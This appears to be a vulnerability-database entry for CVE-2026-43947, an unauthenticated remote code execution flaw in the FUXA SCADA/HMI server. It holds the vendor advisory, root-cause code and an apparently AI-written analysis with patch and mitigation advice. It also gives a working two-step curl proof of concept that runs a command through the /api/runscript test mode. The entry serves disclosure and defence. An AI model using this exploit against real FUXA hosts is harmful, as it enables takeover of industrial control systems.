Is there a patch available for CVE-2026-43947?

Yes, a patch is available for CVE-2026-43947. Update the affected software to the latest version immediately.

Node.js CVE-2026-43947

Q: Which versions of Node.js are affected by CVE-2026-43947?

Unauthenticated remote code execution in FUXA 1.3.0 (the fuxa-server npm package) lets any network-reachable attacker run arbitrary OS commands on the SCADA/HMI host when secureEnabled is true.. A patch is available.

HIGH

Incorrect Authorization (CWE-863)

2026-05-26 https://github.com/frangoteam/FUXA

GHSA-rg3m-cfq7-g6h6

RCE Information Disclosure Node.js Authentication Bypass

Lifecycle Timeline

Source Code Evidence Fetched

May 27, 2026 - 00:01 vuln.today

Analysis Generated

May 27, 2026 - 00:01 vuln.today

DescriptionCVE.org

Summary

An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.

Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).

The only prerequisite is that at least one server-side script exists in the project.

Details

Authorization confused deputy in script execution

File: server/runtime/scripts/index.js, lines 86-103

The authorization check looks up the stored script by ID and validates the stored script's permission field:

javascript

this.isAuthorised = function (_script, permission) {
    const st = scriptModule.getScript(_script);  // finds stored script by _script.id
    if (admin || (st && (!st.permission || st.permission & permission))) {
        return true;
    }
    return false;
}

When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.

Guest auto-authentication in the middleware

File: server/api/jwt-helper.js, lines 46-72

The verifyToken middleware generates a valid guest JWT when no token is provided:

javascript

if (!token) {
    token = getGuestToken();
}

The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.

Test mode executes attacker-supplied code

File: server/runtime/scripts/msm.js

When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.

PoC

Requires an existing server-side script accessible without restrictive permissions.

Step 1: Retrieve script IDs from the unauthenticated project endpoint

bash

curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'

json

{
  "id": "legit-001",
  "name": "calculate",
}
{
  "id": "s_42a888fa-8e3d4213",
  "name": "subs",
}

Step 2: Execute whoami without authentication

Using the script ID and name from step 1:

bash

curl -s -X POST http://192.168.32.129:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'

Impact

Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.

Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.

This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.

AnalysisAI

Here is the multi-source synthesis as a JSON object:

json

{
  "product_name": "FUXA",
  "summary": "Unauthenticated remote code execution in FUXA 1.3.0 (the fuxa-server npm package) lets any network-reachable attacker run arbitrary OS commands on the SCADA/HMI host when secureEnabled is true. The POST /api/runscript endpoint authorizes a request against a stored script's permission, but with test:true it instead compiles and runs attacker-supplied code via Node's Module._compile, so a guest who knows a valid script ID and name (leaked via the unauthenticated GET /api/project endpoint) can execute code with full Node runtime access. Publicly available exploit code exists in the vendor advisory; no CVSS, EPSS, or CISA KEV data is provided.",
  "technical_context": "FUXA is an open-source, Node.js-based web SCADA/HMI/IoT platform (distributed as the fuxa-server npm package, CPE pkg:npm/fuxa-server) used to build operator dashboards and connect to industrial devices. The root cause is CWE-863 (Incorrect Authorization), specifically a confused-deputy flaw: ScriptsManager.isAuthorised (server/runtime/scripts/index.js, lines 86-103) validates the permission field of the stored script identified by ID, while runTestScript (server/runtime/scripts/msm.js) executes the separate attacker-controlled code field from the request body. Because a stored script with no permission set causes the !st.permission check to pass for any caller, and the jwt-helper middleware (server/api/jwt-helper.js) auto-issues a valid guest JWT when no token is supplied, an unauthenticated guest passes the authorization gate. The supplied code is then compiled into a Node module with full access to require, child_process, and fs, turning an authorization gap into full RCE.",
  "risk_assessment": "This is a genuine high-severity priority, not a paper tiger: it is an unauthenticated, network-exploitable RCE with working exploit code published in the vendor advisory, and FUXA's industrial/OT role means a compromise can expose device credentials and control logic. However, key prioritization signals are missing — no CVSS vector, no EPSS probability, and no CISA KEV listing are provided, so exploitation-likelihood scoring cannot be computed from the input and active in-the-wild exploitation is NOT confirmed. Real-world risk is meaningfully bounded by non-default preconditions documented by the vendor: secureEnabled must be true, and at least one server-side script must exist without a restrictive permission so that guest access passes. Deployments with no server-side scripts, or where every script has a restrictive permission, are not exploitable. Net assessment: treat as urgent where FUXA is internet- or OT-network reachable and uses server-side scripting, but the conditional preconditions likely make this targeted rather than mass-exploitable. The 'unauthenticated' characterization comes from the vendor advisory and confirming code diff rather than a CVSS vector, which is absent.",
  "affected_products": "The affected component is the FUXA server distributed as the npm package fuxa-server (CPE pkg:npm/fuxa-server), with version 1.3.0 listed as vulnerable and 1.3.1 as the fixed release. Exploitation additionally requires the deployment to have secureEnabled=true and at least one server-side script without a restrictive permission. The authoritative source is GitHub Security Advisory GHSA-rg3m-cfq7-g6h6 (https://github.com/frangoteam/FUXA/security/advisories/GHSA-rg3m-cfq7-g6h6), mirrored at https://github.com/advisories/GHSA-rg3m-cfq7-g6h6, with the fix in pull request https://github.com/frangoteam/FUXA/pull/2260, commit 78534da61a91613712b44bb63c8d7da8c5df5ca4, and release https://github.com/frangoteam/FUXA/releases/tag/v1.3.1.",
  "remediation": "Vendor-released patch: 1.3.1 — upgrade fuxa-server from 1.3.0 to 1.3.1, which changes the default return of the isAuthorised check in server/runtime/scripts/index.js from true to false so unauthorized callers are denied, and also hardens the unauthorized response and Node-RED dashboard route allowlisting (see PR https://github.com/frangoteam/FUXA/pull/2260 and commit 78534da61a91613712b44bb63c8d7da8c5df5ca4; release notes at https://github.com/frangoteam/FUXA/releases/tag/v1.3.1). If you cannot upgrade immediately, set a restrictive non-zero permission field on every server-side script so the guest path no longer passes (trade-off: legitimate guest/dashboard automation that relied on permissionless scripts will break), and remove any server-side scripts that are not strictly required (eliminates the precondition but disables that functionality). As a network control, restrict access to the FUXA API port (1881 in the PoC) to trusted management hosts and block both POST /api/runscript and the information-disclosing GET /api/project at a reverse proxy (trade-off: this can interfere with legitimate remote administration and dashboard project loading). Full remediation details are in advisory GHSA-rg3m-cfq7-g6h6.",
  "exploit_scenario": "An attacker who can reach the FUXA API sends an unauthenticated GET /api/project to harvest the id and name of an existing server-side script, then issues a POST /api/runscript with test:true and a malicious code field such as require('child_process').execSync('whoami'). The vendor's published PoC demonstrates this end-to-end against port 1881, so a working exploit is publicly available, and since no token is required the attack carries no authentication overhead.",
  "exploitation_conditions": "Three concrete preconditions must hold, all documented by the vendor: (1) the FUXA instance must run with secureEnabled set to true; (2) at least one server-side script must exist in the project; and (3) that script must have no restrictive permission (permission field unset or 0), so the !st.permission check passes for a guest. The attacker must also supply a valid script id and name in the POST /api/runscript body with test:true — these identifiers are obtainable from the separately reported unauthenticated information disclosure in GET /api/project. Limiting factors: no credentials or user interaction are needed (the middleware auto-issues a guest token), but the vulnerability does NOT affect configurations that have no server-side scripts or where every script carries a restrictive permission that blocks guest access; the attacker must know or enumerate a valid script ID/name pair for the request to reach the vulnerable test-mode path.",
  "attack_chain": "Reach FUXA API over network (port 1881) → Query GET /api/project for script id and name → POST /api/runscript with test:true and attacker code → Code compiled via Module._compile bypassing stored-script authorization → Execute arbitrary OS commands as FUXA process → Access device connections and ICS credentials",
  "confidence_notes": "Confirmed: the fix version 1.3.1 (vulnerable 1.3.0) is corroborated by the GHSA-rg3m-cfq7-g6h6 advisory, PR #2260, commit 78534da, and the v1.3.1 release tag, and the authorization-bypass mechanism is verified by the published code diff. A working PoC is provided in the advisory (exploit code exists), but there is no evidence of active exploitation, no CISA KEV listing, and no EPSS data. Unknown/missing: CVSS score and vector are not provided (N/A), so severity scoring and the 'unauthenticated' qualifier rest on the vendor advisory and source diff rather than a CVSS vector."
}